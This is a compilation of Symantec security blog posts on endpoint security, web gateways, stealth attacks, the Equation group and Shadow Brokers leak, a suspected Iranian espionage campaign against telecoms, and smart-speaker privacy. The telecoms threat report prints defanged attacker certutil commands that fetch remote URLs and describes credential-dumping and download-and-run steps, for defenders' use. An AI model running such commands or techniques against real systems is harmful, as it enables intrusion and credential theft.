Learn more about SEP14 here and watch this space for weekly blog posts that drill deeper into key capabilities with insights from Symantec and third-party experts.
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Endpoint Security Status Report: Making up for Lost Time
Enterprise expert Jon Oltsik says organizations are still playing catch-up when it comes to protecting a multiplying number of endpoints
Companies have had their hands full securing the growing number of endpoints in their organizations against attackers. But don’t assume that this is a lost cause.
When the Enterprise Strategy Group recently surveyed information security professionals, it uncovered a mixed picture. More organizations are finally treating endpoint security as a strategic imperative for their businesses as they undergo the process of digital transformation. But in many respects, you can also classify this as a work in progress with companies scrambling to make up for lost time to protect their digital data.
We recently spoke with ESG Senior Principal Analyst Jon Oltsik to dig deeper into the findings.
Q: What was the surprise conclusion in your survey research?
The biggest one is that there is still quite a bit of churn in the market around endpoint security, as well as a lack of knowledge about endpoint security. People don't know what they have. They don't know what their capabilities are and often over-react and swap things out when they may or may not need to do so.
Q: Meanwhile, organizations still struggle to protect a multiplying number of endpoints. How well do they understand the extent of the security threats they’re up against?
I don't think that most do. A company may buy a security tool and install it - as they always have- but they don't always understand the threat. There are different things you can do to address that to mitigate risk. But you need to have an understanding of the threat as well as an understanding of the security tools to protect your endpoints. And you have to understand the intersection of those two things. Not everyone does.
We have this concept called the endpoint security continuum, which goes from advanced protection on one side to advanced detection and response on the other.
Q: Do more enterprises still approach endpoint security tactically or they finally approaching it more strategically? I’m generalizing but it seems that they have usually defaulted to collecting one point solution after another, as the need arises.
That has been the history. To some extent, it's still true. So, for instance, companies that are very set on Endpoint Detection and Response tend to look at EDR products - regardless of whether they are offered by suite vendors or by vendors that also offer prevention tools. You still see some of that behavior, but the data suggests that there’s now a movement toward suites. We have this concept called the endpoint security continuum, which goes from advanced protection on one side to advanced detection and response on the other. The middle is made up of layered controls. We’re now seeing a change in buying behavior, where companies are looking for one vendor for all of those capabilities.
Q; Given the increase - both in the size and frequency - of breaches, organizations seem to be playing constant catch-up when it comes to endpoint protection. As if it’s a continuing work in progress.
Part of this is just the way that we have historically managed endpoint security. We bought endpoint products and configured them and then handed them off to IT operations. But IT is an operations organization, not a security organization. So, we kind of didn’t keep up and we are paying the price now.
Q: Do you think businesses have been overly complacent about the severity of the threats they face?
I think that’s true. Most companies are now waking up to the fact that there are new requirements and acting accordingly. In the past, though, there was this thought that, `Well, if I buy antivirus software, I am getting the researchers on the back end and they know what they're doing and can fix things.’ They saw anti-virus as a kind of “set it and forget it” technology. But there’s been continual innovation in the adversary community that they need to pay attention to and that means staying on top of new requirements.
Q: Has it taken news about big security incidents to convince them to take more initiative when it comes to defense planning?
It has. After the Anthem breach, every healthcare organization we spoke with was either doing something immediately or planning to do something around endpoint security. That was driven by healthcare CEOs going to the security professionals and asking whether their organizations were vulnerable. What has changed in the last few years is that it doesn't have to be in your industry any longer. You see a data breach and go back to the security people and ask, `Are we vulnerable?’ That’s definitely accelerated the pace of change in security.
Q: When it comes to securing endpoints and being able to track and respond to intruders, what help do you think deception capabilities can offer enterprise security managers?
I think it's helpful - especially organizations that are very analytics-driven because you can use those deception nodes to collect a lot of good intelligence. I think that's helpful. The technology has promise and has proven to be effective in the past. But there is not a lot of knowledge and skills about deception technologies so for the deception vendors, it's about easing people into that technology.
Q: From an uber perspective - small “u” - how do you think the process of digital transformation is going to influence enterprise thinking about endpoint security strategy?
I think there is still a lot of reactive behavior where companies deploying these solutions realize that they also need to bolt on security. The encouraging thing is that there is more proactive thought about how to secure these digital transformation processes. They have great potential for improving operations and revenues, etc. But they also expose more data as things get digitized that weren’t digitized before and processes get automated that weren’t automated before. And the risks are higher. More CEOs recognize that. So, I think the word is out.
Q: The report also notes that most EDR deployments remain works in progress. What’s your take on that?
EDR is a hands-on managed security analytics activity and very few companies have the skills or the scale to do those kinds of things. So, EDR is a bit of a special use case. Endpoint protection is about applying new technologies to block bad things from happening. So, theoretically, once you install the product, it should be pretty effective.
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Enhanced Application Visibility and Control with your Symantec Secure Web Gateway
Symantec gives customers easier, stronger ways to implement new network policies
If a Secure Web Gateway is the flagship of the network security fleet, Threat Intelligence is the radar and sonar that helps navigate troubled waters. Threat Intelligence enables a Secure Web Gateway to recognize and block known threats, and also stop potential new ones. Good intelligence can greatly improve security efficacy. Weak intelligence will open the door to attackers while increasing the over-blocking of false positives. However, what you may not know: the Best intelligence can enable you to do much more than you’d expect from a Secure Web Gateway, providing a stronger and easier means of getting application visibility and control.
Matt Willden, product manager of Intelligence Services, Symantec Enterprise Division, recently addressed how Symantec is working to give companies the tools to improve their application visibility and control policies to ensure both the strength of network security and employee access to the apps they need to best do their jobs.
Q: With the growth of remote work over the last year, there has also been an increase in the need to handle apps and various new situations regarding network security. Could you give a lay-of-the-land type assessment of the security arena today?
A: There has never been a more pertinent time for having good intelligence. As we all know, we’re going through a pandemic, but even as we start to see light at the end of the tunnel, we’re still seeing reports of increased (network) demand. Maybe that will go down when we return to a more normal environment, but we’re also getting reports that employers will enforce, or allow work-from-home situations to continue post-pandemic. All of this is to say that there are lots of new situations that corporations have to deal with when you have such a large workforce working remotely.
Q: Can you talk about the various intelligent services that Symantec’s platform offers inside the Symantec Secure Web Gateway?
A: We know that there are more threats than ever and the web is getting more and more attacks. Apart from email traffic, web attacks are competing for the most prevalent attack surface.
In my opinion, we think you need three factors to be effective in this scenario.
You need access to the full picture in order to extract the pertinent metadata that fuels detections.
You have to have an incredibly wide array of information sources to ensure the metadata’s bits and pieces make up a statistically significant data point (i.e., different market verticals)
You need a comprehensive feature set powered by the previous two points so that the intelligence can be used in a meaningful way
Once you have that, the reality is your ecosystem fuels your feature set. Symantec has one of the most comprehensive ecosystems on the planet and that fuels one of the most comprehensive feature sets you can deploy today.
Q: Talk about Symantec ProxySG and the role it plays in improving visibility and control policies.
A: Symantec ProxySG, which is our main deployment, is a proxy-based architecture that actually intercepts the (unwanted) traffic. It’s capable of specific responses and intercepting the traffic in real-time to make policy decisions. With it, we can reassemble the communication files and all the different response headers—All the minutiae in real-time—and then make a decision before it passes our gateway. This all feeds back into our telemetry system so we have this feedback mechanism where we can get this data, correlate it, aggregate it and protect our customers. It just builds on itself. There aren’t many systems on the market that can capture the data we have and protect our customers.
Symantec has one of the most comprehensive ecosystems on the planet and that fuels one of the most comprehensive feature sets you can deploy today.
Q: What would you say are some other characteristics of Symantec’s threat protection offerings that would appeal to customers looking to improve their network visibility?
A: We have risk levels, which I think is our bread and butter of best-in-class threat protection. But we also have categories, which are the bread and butter of every content filter, and we also have application visibility. All of that is delivered through a cloud-based intelligent service that is constantly up to date; because it’s updated hundreds of times a day, it gives customers all this granularity to create a comprehensive policy that’s unique to your situation.
Q: You’ve spoken of the need for visibility to be more “granular”, or get more into specific details to prevent and fight back against network attacks. What would you say gives Symantec an edge over other security service providers in this area?
A: For one thing, we tend to focus on those high-value targets like banks, large financial services, enterprises, and governments. Our customers, and consequently our telemetry, come from all over, and that gives us the unique ability to see really weird traffic that comes in and rate it. Our proxy architecture gives us the ability to extract more granular data and for greater efficacy. For example, instead of just looking at a category and saying, “Oh, this is just social media, or this is a chat,” we can have up to four different categories assigned to a URL. More to the point, when we are categorizing a URL, we like to think of it as pruning a tree. If there is a leaf or a flower that’s maybe not so great, you can prune that off, improve the health of the tree and not have to cut off the tree at the root.
Our proxy architecture gives us the ability to extract more granular data and for greater efficacy.
Q: How does Symantec go about ranking and assessing risks so that enterprises can make better decisions about which control policies to employ?
A: Our Threat Risk Levels assign a risk score of 1 to 10, and we support real-time evaluation of risks. This creates a powerful, streamlined policy combination like saying, “Block uncategorized traffic if the risk level is greater than 5.” This helps customers, as they move closer to the actual attack vector because the risk scores don’t use a cat-and-mouse game of finding the specific caches or finding a specific pattern. In fact, they use statistical metadata and machine learning to get it before we even know about it.
One way we accomplish this is by employing a Context Engine that takes in all the various data points in the background and gives it a score, we also have a Voting Systems that does a real-time calculation for anything not found in a database, and we also leverage GeoLocation, which is one of those tools that you perhaps don’t even know you have, but it provides you with a really unique way to minimize risk and increase compliance on your network.
The point is that in your intelligent service, you have to have a way to take in real-time attacks. Symantec was one of the first on the market with this and remains one of the best today.
Q: What other advice would you give to an enterprise looking for a way to improve upon its application visibility and control policies?
A: The thing you don’t want to do is fall into a homogeneous security policy situation where yours is just the same as Company B down the road. That’s a shady actors’ favorite thing.
Webinar - Enhanced Application Visibility and Control with your Secure Web Gateway
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Enterprises Face a New Wave of Stealth Attacks
It’s a growing threat and old detection methods won’t be enough to deter attacks that can hide in ingenious new ways
The days of traditional cyber defenses protecting your company are over. Stealth attacks in which hackers ride into your network using web encryption or hide their malware’s command and control in cloud services are here. And it’s only going to get worse. Here’s what you need to know about how stealth attacks work — and how to protect your enterprise against them.
The depth of the problem with stealth attacks became clear earlier this year, when Symantec found that the cyber espionage group known as the Inception Framework significantly upped its operations by using the cloud and IoT to hide their attacks. The Symantec report noted that “the group has become ever more secretive, hiding behind an increasingly complex framework of proxies and cloud services.”
It hides its attacks in two primary ways. One is that the malware it implants in an enterprise uses cloud service providers for command and control. When IT examines outgoing traffic, it won’t find telltale traffic going to malware servers. Instead, the traffic goes to well-known cloud providers — initially just CloudMe.com, but eventually to four other cloud providers as well. Ultimately, it looks to IT just like normal outbound traffic.
In addition, the group uses chains of infected routers to act as proxies to mask communications between attackers and the cloud service providers they use for command and control. That makes the attacks even stealthier.
“There’s a reason you’re seeing an increase in these kinds of stealth attacks,” says Jake Williams, founder of the cyber security firm Rendition Infosec. “As enterprises get smarter about security, malware writers have had to up their game. So, malware writers have turned to stealth methods for targeting enterprises.”
Making it easier to launch these kinds of stealth attacks is that malware writers have easy access to infected home routers to act as proxies. For example, this spring malware called VPNFilter targeted home and enterprise routers from many different manufacturers, including Asus, D-Link, Huawei, Linksys, Netgear and others. (To check if your router has been infected, use Symantec’s VPNFilter Check Tool.) Timothy Chiu, Senior Director of Product Marketing for Symantec, estimates that up to 80 percent of all home routers might have been vulnerable to the attack.
Web Encryption
Chiu warns about another stealth threat — malware that rides its way into organizations via the HTTPS protocol which encrypts web traffic. Ironically, encryption designed to protect privacy is now being used to hide malware.
It’s a threat that will grow as the amount of web traffic that uses HTTPS grows. By early 2017, 50 percent of all web traffic was encrypted, according to the Electronic Frontier Foundation. Chiu says that by 2019, 80 percent of all web traffic is expected to be encrypted, making it even easier for malware writers to infect enterprises using this stealth method. Gartner says that approximately half of all malware campaigns this year will use some kind of encryption.
Old detection methods won’t protect against these kinds of stealth attacks, but there are ways for vigilant enterprises to keep themselves safe. Chiu stresses the importance of decrypting traffic at the gateway level and inspecting it before it makes its way to end users.
Given the sophistication of stealth attacks, companies should assume they will be compromised at some point, rather than assuming they can ward off all attacks.
"You don’t know the last time users updated their virus signatures, and how secure their PCs are,” he says. “So, decrypting traffic and examining it before it reaches them has become extremely important.”
He adds that most companies don’t do this right now. And while decrypting traffic in this way is important for all enterprises, he says that it’s especially important for industries such as financial and healthcare that are frequent targets of hackers.
Williams stresses the importance of logging as much information as possible about network traffic, including DNS resolutions and more, and keeping the log information available. That helps not just with real-time detection, but also lets companies examine historical data which can give clues that they’ve been infected.
“If you’re keeping the data, you might be able to find out that three days ago you were compromised, and then clear out the infection,” he says. “In general, capturing more information is better. Very rarely do organizations say, ‘We really regret logging all that data.’”
He adds that given the sophistication of stealth attacks, companies should assume they will be compromised at some point, rather than assuming they can ward off all attacks. That means designing ways to quickly recover from successful attacks.
And overall, he concludes, “For stealth attacks that we don’t even know about yet, you need to log as much as you can and think outside the box. That way, you may not know exactly the kind of stealth attacks that are coming, but you can extrapolate from what you know and keep yourself safer.”
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Equation: Advanced cyberespionage group has all the tricks in the book, and more
Group uses range of different malware tools to mount its operations.
An adept and well-resourced cyberespionage group known as Equation has been targeting organizations in a number of countries with a range of highly developed malware tools that go to great lengths to evade detection. New research from our peers at Kaspersky Lab has brought the group’s activities and tools to public attention. Symantec products detect the malware currently known to be used by Equation.
The Equation group has used a range of different malware tools to mount its operations. Targeted computers are often compromised initially with malware that acts as a reconnaissance tool, gathering information about the infected computer and keeping a back door open, allowing for the installation of further malware if the computer is identified as something of interest. This is a common tactic adopted by cyberespionage groups. For example, the group behind the Turla Trojan usually initially infects its victims with the Wipbot Trojan before infecting them with Trojan Turla if it decides the computer is worthy of interest.
The main tool used for this purpose appears to be Infostealer.Micstus, which is also known as “DoubleFantasy”. Trojan.Tripfant (also known as “TripleFantasy”) has similar capabilities and may be a replacement for Micstus.
Equation has used a succession of advanced, multipurpose Trojans as its main malware tools. Trojan.Grayphish, which is also known as “GrayFish”, is believed to be the group’s current weapon of choice. It has a complex structure and stealthy characteristics. Grayphish includes a bootkit which allows the malware to take control of the entire Windows boot process. Highly stealthy, Grayphish uses an encrypted virtual file system hidden inside the Windows registry.
This appears to have replaced the older Trojan.Equdrug (also known as “EquationDrug”) which was favored until recently. Equdrug in turn appears to have replaced the older Backdoor.Lassrv.B. Also known as “EquationLaser”, this Trojan seems to be one of the early workhorses used by the group until it was phased out.
Grayphish and Equdrug have a modular structure. Aside from standard modules, a number of specialized features can also be employed. Among this is a highly sophisticated and rarely used module that allows the malware to reprogram the firmware on a range of popular hard disks, providing the attackers with a persistent presence that can survive disk reformatting. Symantec detects this module as Packed.Generic.483.
In addition to these powerful Trojans, Equation has employed a number of specialist tools. Among these are Trojan.Grokey a custom keylogger (also known as “Grok”) and W32.Fanni, which is also known as “Fanny worm”. This worm’s chief purpose appears to be the targeting of air-gapped networks. It can receive commands and exfiltrate data through infected USB sticks. Fanny used two zero day exploits that were also used in the Stuxnet attacks. The exploits were used in Fanny prior to Stuxnet indicating that Equation had prior knowledge of the vulnerabilities. Another similarity lies in the fact that Stuxnet was also designed to attack air-gapped networks.
Protection
Symantec and Norton products have the following detections in place against malware used by the Equation group:
AV:
Infostealer.Micstus,
Trojan.Tripfant
Trojan.Grayphish
Trojan.Equdrug
Backdoor.Lassrv.B
Packed.Generic.483
Trojan.Grokey
W32.Fanni
IPS:
System Infected: Trojan Equation Activity
Prior to this, Symantec detected Equation malware with a range of detections including Trojan.Tracur, Backdoor.Trojan, Trojan Horse, Trojan.Gen.2, and W32.Stration@mm.
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Equation: Has secretive cyberespionage group been breached?
Shadow Brokers has released a trove of data it claims to have stolen from the Equation cyberespionage group.
An attack group calling itself the Shadow Brokers has released a trove of data it claims to have stolen from the Equation cyberespionage group. The data contains a range of exploits and tools the attack group state were used by Equation. The Shadow Brokers said that the data dump was a sample of what had been stolen from hacking Equation and that the “best” files would be auctioned off to the highest bidder.
Equation was uncovered last year, when it was found to be using highly advanced malware tools to target organizations in a range of countries. The group is technically competent and well resourced, using highly developed malware tools that go to great lengths to evade detection.
Symantec Security Response is analyzing the data released by Shadow Brokers in order to assess the accuracy of the group's claims and will update our malware and exploit protections if necessary.
Q: How much data has been released?
A: Shadow Brokers released a 256-megabyte compressed archive containing around 4,000 files.
Q: What kinds of files are in the archive?
A: The files mainly appear to be installation scripts, configuration files, and exploits targeting a range of routers and firewall appliances.
Q: How old is the data?
A: Most of the files appear to be several years old, dating back to between 2010 and 2013.
Q: Does the data dump actually contain working exploits?
A: It will take some time to assess all of the released files. However, early indications are that at least some of the tools released are functioning exploits.
Q: What do we know about Shadow Brokers?
A: The group has no prior history. While it may be previously unknown, “Shadow Brokers” could also be a cover name for another group.
Q: What do we know about the unreleased data held by the group?
A: Very little. It has said it is keeping this a secret and simply claimed that it contains the “best” files.
Q: How will it auction the unreleased data?
A: The group provided a Bitcoin address and instructed interested parties to send Bitcoin to it. Losing bids would not be refunded and instead losing bidders would be granted “consolation prizes”. It claimed it was seeking to raise the incredibly large sum of 1 million Bitcoin (US$576.3 million) and, if it received this, it would publicly release more data.
Q: Is it possible this is a hoax?
A: While the files released are certainly not junk, it will take some time to fully establish if they are definitely linked to the Equation group.
Q: Does the data dump have links to any known tools?
A: Some of the files reference alleged US National Security Agency (NSA) tools named in the Edward Snowden leaks, e.g. “EPIC BANANA”, “EXTRA BACON”, and “ELIGIBLE CONTESTANT.” However, since these names were already public information it doesn’t provide proof of the files’ origin.
Update – August 18, 2016:
Q: There have been reports that leaked files contain a unique implementation of the RC5/RC6 encryption algorithm that has previously only been seen in Equation Group malware. Can you corroborate this?
A: We don’t believe this can prove a definite link between the two. The RC5/RC6 implementations are similar, in that some values used for instantiating the algorithm in their implementation were negated. However, further analysis by Symantec found a large number of files previously seen in the wild where these values were also present. We believe that the negated values might be an optimization introduced by the compiler used. In short, the similarities could have come about by accident rather than design.
Q: Have patches been released for any of the vulnerabilities disclosed in the leak?
A: To date, Cisco and Fortinet have issued security updates after exploits for their products were found in the leak. Cisco said that the leaked files contained exploits of two vulnerabilities affecting a number of its products: the Cisco ASA (Adaptive Security Appliance) and legacy Cisco PIX firewalls. The company has issued security advisories for both:
Cisco ASA SNMP Remote Code Execution Vulnerability (CVE-2016-6366)
Cisco ASA CLI Remote Code Execution Vulnerability (CVE-2016-6367)
Cisco said that the while CVE-2016-6366 was a newly discovered vulnerability, CVE-2016-6367 had been fixed in 2011.
Meanwhile Fortinet has published a security advisory about a cookie parser buffer overflow vulnerability which it said affected older versions of its FortiGate (FOS) firmware, versions 4.3.8 and below. Customers are advised to upgrade to release 5.x or upgrade to 4.3.9 or above for models not compatible with 5.x.
Q: Did the leak include any exploits for Symantec products?
A: No exploits of Symantec products were found in the released files. Our investigation is still in progress.
Update – August 23, 2016:
Q: Are Juniper Networks products affected by the leak?
A: Juniper Networks has said the leak included tools targeting its NetScreen devices. “As part of our analysis of these files, we identified an attack against NetScreen devices running ScreenOS,” a Juniper Networks spokesperson said. “We are examining the extent of the attack, but initial analysis indicates it targets the boot loader and does not exploit a vulnerability on ScreenOS devices.” The company said it would continue its analysis and publish any new information in a blog or security advisory once more is known.
Q: Has any money been sent to the Shadow Brokers yet?
A: Records associated with the Bitcoin address provided by the Shadow Brokers show that the group has received 63 payments totaling 1.76 Bitcoin (approximately US$1,023). The majority came from a single payment of 1.5 Bitcoin.
Q: Do Symantec products detect the tools released in the leak?
A: Symantec and Norton products protect against the malware and exploits found in the leak with the following detections:
Antivirus
Hacktool.Equation (Detects all hacking tools found in the leak)
Backdoor.Equation
Intrusion prevention
Attack: SNMP CISCO ASA Authentication ByPass
Web Attack: Fortinet Firewall Cookie Buffer Overflow
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Espionage Campaign Targets Telecoms Organizations across Middle East and Asia
Tentative link to Iran-backed Seedworm group.
Attackers most likely linked to Iran have attacked a string of telecoms operators in the Middle East and Asia over the past six months, in addition to a number of IT services organizations and a utility company.
Organizations in Israel, Jordan, Kuwait, Saudi Arabia, the United Arab Emirates, Pakistan, Thailand, and Laos were targeted in the campaign, which appears to have made no use of custom malware and instead relied on a mixture of legitimate tools, publicly available malware, and living-off-the-land tactics. While the identity of the attackers remains unconfirmed, there is some evidence to suggest a link to the Iranian Seedworm (aka MuddyWater) group. The targeting and tactics are consistent with Iranian-sponsored actors.
Attack outline
After breaching a targeted network, the attackers typically attempt to steal credentials and move laterally across the network. They appear to be particularly interested in Exchange Servers, deploying web shells onto them. In some cases, the attackers may be using compromised organizations as stepping stones to additional victims. Furthermore, some targets may have been compromised solely to perform supply-chain-type attacks on other organizations.
In most attacks, the infection vector is unknown. Evidence of a possible vector was found at only one target. A suspected ScreenConnect setup MSI appeared to have been delivered in a zipped file named “Special discount program.zip”, suggesting that it arrived in a spear-phishing email.
Telecoms attack
In one attack against a telecoms firm in the Middle East, which began in August 2021, the first evidence of compromise was the creation of a service to launch an unknown Windows Script File (WSF). Scripts were then used to issue various domain, user discovery, and remote service discovery commands.
The attackers used PowerShell to download another WSF and run it. Net group was used to query for the “exchange trusted subsystem” domain group.
The attackers used Certutil to download a suspected Ligolo tunneling tool and launch WMI, which was used to get remote machines to carry out the following tasks:
Execute Certutil to download an unknown file
Execute Certutil to download an unknown WSF file and execute Wscript to launch this script
Execute PowerShell to download and execute content
Execute PowerShell to download a suspected web shell to an Exchange Server
Based on process lineage data, attackers seemed to use scripts extensively. These may be automated scripts used for collecting information and downloading additional tools. However, in one instance, a command asks cURL for help, suggesting that there may have been at least some hands-on-keyboard activity on the part of the attackers.
The attackers then used a remote access tool, believed to be eHorus, to perform the following tasks:
Deliver and run a suspected Local Security Authority Subsystem Service (LSASS) dumping tool
Deliver what are believed to be Ligolo tunneling tools
Execute Certutil to request a URL from Exchange Web Services (EWS) of what appears to be other targeted organizations
One feature of this attack against a telecoms organization is that the attackers may have attempted to pivot to other targets by connecting to the Exchange Web Services (EWS) of other organizations, another telecoms operator, and an electronic equipment company in the same region. The following commands were used:
certutil.exe -urlcache –split [DASH]f hxxps://[REDACTED]/ews/exchange[.]asmx
certutil.exe -urlcache -split [DASH]f hxxps://webmail.[REDACTED][.]com/ews
It is unclear what the intent of these requests is. It is possible the attackers were attempting to check connectivity to these organizations.
Possible supply chain attack
One target that appeared to be an outlier was a utility company in Laos. The infection vector may have been the exploit of a public-facing service since the first machine that appeared to be compromised was an IIS web server. Suspicious activity also had w3wp.exe in the process lineage.
The attackers then used PowerShell to:
Download a suspected Ligolo tunneling tool
Download an unknown PowerShell script
Download an unknown XLS file
The attackers then used PowerShell to connect to a webmail server of an organization in Thailand. They also attempted to connect to IT-related servers belonging to another company in Thailand.
To facilitate credential theft, WMI was used to execute PowerShell to modify the registry to store passwords in plaintext in memory. In addition to this, an obfuscated version of the publicly available CrackMapExec tool appeared to be deployed.
Toolset
The attackers made heavy use of legitimate tools and publicly available hacking tools. These include:
ScreenConnect: Legitimate remote administration tool
RemoteUtilities: Legitimate remote administration tool
eHorus: Legitimate remote administration tool
Ligolo: Reverse tunneling tool
Hidec: Command line tool for running a hidden window
Nping: Packet generation tool
LSASS Dumper: Tool that dumps credentials from Local Security Authority Subsystem Service (LSASS) process
SharpChisel: Tunneling tool
Password Dumper
CrackMapExec: Publicly available tool that is used to automate security assessment of an Active Directory environment
ProcDump: Microsoft Sysinternals tool for monitoring an application for CPU spikes and generating crash dumps, but which can also be used as a general process dump utility
SOCKS5 proxy server: Tunneling tool
Keylogger: Retrieves browser credentials
Mimikatz: Publicly available credential dumping tool
Seedworm link?
There is some evidence to suggest that the Iranian Seedworm group was responsible for these attacks. Two IP addresses used in this campaign have been previously linked to Seedworm activity. However, Seedworm is known to regularly switch its infrastructure, meaning conclusive attribution cannot be made.
There is also some overlap in tools between this campaign and earlier Seedworm campaigns. ScreenConnect, RemoteUtilities, SharpChisel, Ligolo, ProcDump, and Password Dumper were all referenced by Trend Micro in a March 2021 blog on Seedworm activity.
In the case of two tools – SharpChisel and Password Dumper – identical versions were used in this campaign to those that were documented by Trend.
Focused campaign
If these attacks are linked to Iran, it will not be the first time an Iranian threat actor has targeted the telecoms sector. In 2018, Symantec revealed that the Chafer group had compromised of a major telecoms services provider in the Middle East.
While the ultimate end goal of the campaign remains unknown, the focus on telecoms operators suggests that the attackers are gathering intelligence on the sector and possibly attempting to pivot into spying on communications.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
ae5d0ad47328b85e4876706c95d785a3c1387a11f9336844c39e75c7504ba365 – Ligolo
e0873e15c7fb848c1be8dc742481b40f9887f8152469908c9d65930e0641aa6b – Ligolo
22e7528e56dffaa26cfe722994655686c90824b13eb51184abfe44d4e95d473f – Hidec
b0b97c630c153bde90ffeefc4ab79e76aaf2f4fd73b8a242db56cc27920c5a27 – Nping
b15dcb62dee1a8499b8ac63064a282a06abf0f7d0302c5e356cdb0c7b78415a9 – LSASS Dumper
61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2 – SharpChisel
ccdddd1ebf3c5de2e68b4dcb8fbc7d4ed32e8f39f6fdf71ac022a7b4d0aa4131 – Password Dumper
facb00c8dc1b7ed209507d7c56d18b2c542c4e0b2986b9bfaf1764d8e252576b – CrackMapExec
1a107c3ece1880cbbdc0a6c0817624b0dd033b02ebaf7fa366306aaca22c103d – ProcDump
916cc8d6bf2282ae0d2db587f4f96780af59e685a1f1a511e0b2b276669dc802 – ProcDump
e2a7a9a803c6a4d2d503bb78a73cd9951e901beb5fb450a2821eaf740fc48496 – ProcDump
f6600e5d5c91ed30d8203ef2bd173ed0bc431453a31c03bc363b89f77e50d4c5 - SOCKS5 proxy server
6d73c0bcdf1274aeb13e5ba85ab83ec00345d3b7f3bb861d1585be1f6ccda0c5 – Keylogger
912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9 – Mimikatz
96632f716df30af567da00d3624e245d162d0a05ac4b4e7cbadf63f04ca8d3da – Mimikatz
bee3d0ac0967389571ea8e3a8c0502306b3dbf009e8155f00a2829417ac079fc – Mimikatz
d9770865ea739a8f1702a2651538f4f4de2d92888d188d8ace2c79936f9c2688 - Mimikatz
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Everything You Need to Know About the Security of Voice-Activated Smart Speakers
A look at Google Home and Amazon’s Echo Dot.
For full details of the research discussed in this blog, see the accompanying white paper: A guide to the security of voice-activated smart speakers
Smart speakers, also known as smart home voice-activated assistants, come in many different shapes and sizes and have become very popular in the last few years. After smartphones, they are the next big step for voice assistants. To put it simply, they are music speakers combined with a voice recognition system that the user can interact with. Users employ a wake-up word, such as “Alexa” or “Ok Google”, to activate the voice assistant and can then interact with the smart speaker using just their voice. They can ask it questions or request that it starts playing music, as well as reading out recipes and controlling other smart devices. Some of these devices also come equipped with cameras that can be operated remotely, while others allow you to order goods online using just your voice.
The market is currently dominated by Amazon Alexa’s Echo range, which has a 73 percent market share, with more than 20 million devices in the U.S. alone, followed by Google Home, which holds much of the remainder of the market. Apple’s HomePod is expected to be launched in December 2017, whereas Microsoft’s Cortana has already been integrated into numerous third-party speakers.
But, while they make life easier in some ways, could voice-activated smart speakers also be endangering people’s privacy and online security? The range of activities that can be carried out by these speakers means that a hacker, or even just a mischief-minded friend or neighbor, could cause havoc if they gained access.
Privacy
The fact that smart speakers are always listening brings up a lot of privacy concerns, however, it’s important to note that the recordings are only sent to backend servers once the wake-up word has been heard, and they are also sent over an encrypted connection. That is, of course, if the device is working as designed. Unfortunately there have already been some controversies with such devices, for example, when a journalist who was given a Google Home Mini in advance of its general release discovered that the device was making recordings even when he hadn’t said the wake-up word or phrase. Google, in this case, said it was a hardware problem due to the activation button on the device registering “phantom touches” and activating. The bug has since been fixed through a software update, but it shows how such devices could technically be used to always listen in and record everything. All current devices provide the option to listen to previous recordings and delete them if required. This of course also means that you should protect your linked account with strong passwords and two-factor authentication (2FA) where possible, as anyone that has access to the account can listen in remotely. Even law enforcement could be interested and have already tried to access recordings during a murder investigation.
Figure 1. Google Home settings for archived recordings
Other smart speakers such as the Amazon Echo can be used to make calls, but Echo also has a feature called drop-in. This allows users to set up accounts that can use the device like an intercom. Once set up, a device can be called from the smartphone app and the receiver does not need to do anything, as the connection is automatically established. Do you trust your friends enough to give them access to your smart speaker with integrated camera?
Annoying voice commands
As the normal interaction is through voice commands, anyone who is in speaking distance can interact with a voice-activated smart speaker. This means a visiting friend could check what’s on your calendar or a curious neighbor could add an alarm for three o’clock in the morning by shouting through your locked door or by using an ultrasonic speaker. As the smart speakers also react to similar-sounding trigger words, for example “OK Bobo” instead of “OK Google” for Google Assistant, accidental triggering is common. The same happens when voice commands are embedded into streaming music services or websites. TV advertisements have already made use of this technique and have triggered devices before with the relevant wake-up word in order to promote their products. In one particular case Google reacted within hours and filtered the sound pattern to prevent it from triggering its devices. This highlights the power that the service provider has, as they can block any unwanted interaction at the backend.
Probably one of the biggest worries for smart speaker owners is that someone could use the device to make a purchase without them realizing, and this is indeed a danger. Amazon Echo devices have the purchasing option enabled by default, but a four-digit PIN code can be set or alternatively the feature can be completely disabled. There have been some reports of children ordering toys through Alexa without their parents’ knowledge. The voice assistant will ask to confirm the purchase, to prevent accidental shopping, but if the child really wants it they might carry out this step as well. Unfortunately, in this scenario, an extra passcode for orders doesn’t help much either, as children have a good memory and learn quickly. Apparently even a parrot in London managed to order goods using one of these devices. One feature that might help you avoid unwanted purchases in the future is voice recognition, which is able to distinguish between different voices and link them to their corresponding accounts. This could limit the amount of personal data that could be leaked and restrict the option to purchase to only certain users. Unfortunately it is not foolproof and at present can even find it difficult to differentiate between siblings.
Figure 2. Alexa voice purchase settings
Secure configuration
Someone with unsupervised physical access to your smart speaker could potentially modify the device or its settings to their benefit, but that’s true of most Internet of Things (IoT) devices. Just as important is to secure the home Wi-Fi network and all other devices connected to it. Malware on a compromised laptop could attack smart speakers in the same local network and reconfigure them, without the need for a password. Fortunately we have yet to see this behavior in the wild.
As a basic guideline, you should not connect security functions like opening door locks to voice-activated smart speakers. If you do, a burglar could simply shout “open the front door” or “disable video recordings now”, which would be bad for not only your digital security but also physical security. The same applies to sensitive information, these devices should not be used to remember passwords or credit card data.
Most of the bigger issues can be avoided by proper configuration and deciding how much information should be linked to the device.
So far, we haven’t seen any mass infection of smart speakers with malware and it is unlikely to happen anytime soon as these devices are not directly reachable from the internet. Nearly all existing attacks rely on the misuse of official commands and not on modifying the actual code running on the devices through an exploit. Since all command interpretation goes through the backend servers, the providers have the capability to filter out any malicious trigger sequences.
As always with software, there is a risk that some of the services, such as commonly used music streaming services, may have a vulnerability and that the device could be compromised through it. The devices may have other vulnerabilities too, for example it has been demonstrated with the Bluetooth issues collectively known as BlueBorne that it’s possible for an attacker to take over a smart speaker if they are within range. Fortunately, the BlueBorne vulnerabilities have since been patched by Google and Amazon. Therefore, all devices should use the auto-update function to stay up to date.
Most of the bigger issues can be avoided by proper configuration and deciding how much information should be linked to the device, but preventing a mischief-maker from setting an alarm on your smart speaker for two o’clock in the morning may prove very difficult.
Protection
After setting up a voice-activated smart speaker at home, it is important to configure it securely. We’ve listed a few tips below that will help you focus on the important security and privacy settings. The configuration is done through the relevant mobile app or website. If you are worried about the security of your smart devices at home, then you might consider the Norton Core secure router, which can help secure your home network, and all the devices on it, from attacks.
Configuration tips
